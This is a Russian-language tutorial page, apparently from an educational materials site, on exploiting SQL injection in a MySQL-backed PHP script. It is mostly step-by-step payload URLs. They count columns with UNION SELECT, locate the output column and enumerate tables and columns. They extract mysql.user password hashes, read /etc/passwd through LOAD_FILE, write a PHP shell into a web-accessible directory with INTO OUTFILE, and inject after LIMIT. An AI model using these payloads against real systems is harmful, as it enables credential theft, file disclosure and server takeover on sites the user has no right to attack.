Читайте также:
|
|
Допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12
Наличие подробных сообщениях об ошибках, с текстом SQL-запроса, в котором произошла ошибка, сведёт трудность эксплуатации SQL-Injection к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.
Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно всё равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).
В частности, возможна ситуации, когда при ошибке возвращается код ответа 500, или происходит перенаправление на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.
Для того, чтобы выявить эти второстепенные признаки, следует составить http-запросы, про которые известно, какой приведёт к правильному (но возвращающему пустой вывод) SQL-запросу, и какой приведёт к неверному SQL-запросу. Например, при не фильтруемом параметре id:
• http://site/test.php?id=99999, вероятно, будет возвращен пустой результат, в то время, как
• http://site/test.php?id=99999' должен породить ошибку.
Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и БД.
Рассмотрим случай, когда SQL-Injection происходит после where. Если мы рассматриваем СУБД MySQL, то получение информации из БД может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union.
1. Количество полей между select и where
Пробуем последовательно, пока не получим верный запрос:
• http://site/test.php?id=99999+union+select+null/*
• http://site/test.php?id=99999+union+select+null,null/*
Более, того, если не имеется возможности отделить неверный запрос от возвратившего пустой результат, можно сделать так:
• http://site/test.php?id=12+union+select+null/*
• http://site/test.php?id=12+union+select+null,null/*
Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL-Injection.
После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where
2. Номер столбца с выводом. Нам понадобится знать, в каком по счёту
столбце происходит вывод на страницу.
При этом, если на страницу выводится несколько параметров, лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text -лучше всего). Такими полями могут быть, например, описание товара, текст статьи и т.д. Ищем такое поле:
• http://site/test.php?id=9999+union+select+'test',null,null/*
• http://site/test.php?id=9999+union+select+null,'test',null/*
И т.д. до тех пор, пока не увидим слово test в нужном нам месте.
Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.
Здесь можно столкнуться с проблемой: в скрипте, возможно, имеется проверка на не пустоту одного из параметров (например, id). Тогда придётся воспользоваться следующим свойством MySQL: числовой тип данных может быть приведен к любому типу данных без возникновения ошибки, причём так, что переменная сохранит свое значение.
• http://site/test.php?id=9999+union+select+1,2,3/*
Этот же способ пройдет и там, где кавычки экранируются.
Открытие комментария добавлено для того, чтобы отбросить остальную часть запроса, если она имеется. MySQL корректно реагирует на незакрытый комментарий.
3. Имена таблиц
Теперь можно перебирать имена таблиц.
• http://site/test.php?id=12+union+select+null,null,null+from+table1/*
Правильные запросы будут соответствовать существующим именам таблиц. Как правило, имеет смысл проверить существование таблиц users, passwords, regusers и т.д. и т.п.
4. Системная информация
У нас уже достаточно информации чтобы составить такой запрос.
• http://site/test.php?
id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*
В случае, если имеются права на select из базы данных mysql, этот запрос вернет хеш пароля, который в большинстве случаев легко расшифруется. Если выводится только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам
• http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*
• http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*
Кроме того можно узнать много интересного:
• http://site/test.php?id=9999+union+select+null,DATABASE(),null/*
• http://site/test.php?id=9999+union+select+null,USER(),null/*
• http://site/test.php?id=9999+union+select+null,VERSION(),null/*
5. Названия столбцов в таблице
Их аналогично, можно перебрать:
• http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* и
т.д.
6. Получение текста файлов через SQL-Injection
Если пользователь, от имени которого осуществляется доступ к БД, имеет права file_priv, то можно получить текст произвольного файла:
• http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd')
,null/*
7. Запись файлов в веб-директорию (php shell)
Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и т.д.), а также знаем имя хотя бы одной таблицы (mysql.user, например, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа:
• http://site/test.php?id=9999+union+select+null,'',null+from+table1+into+o
utfile+'/usr/local/site/www/banners/cmd.php'/*
При этом конструкция from table1 обязательна. Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например, в директорию /tmp/, и затем подключить этот файл оттуда при помощи уязвимости в include.
8. SQL-Injection после limit
Довольно часто уязвимость к SQL-Injection возникает внутри параметра, передающегося к limit. Это может быть номер страницы или нечто подобное.
Практика показывает, что все вышесказанное может быть применено и в этом случае. MySQL корректно реагирует на запросы типа:
• Select... limit 1,2 union select....
• Select... limit 1 union select....
Если необходимо, чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запроса:
• Select... limit 99999,1 union select.... Либо, Select... limit 1,0 union
select....
Дата добавления: 2015-08-18; просмотров: 84 | Нарушение авторских прав
<== предыдущая страница | | | следующая страница ==> |
Выполнение лабораторных работ | | | Защита от SQL-Injection |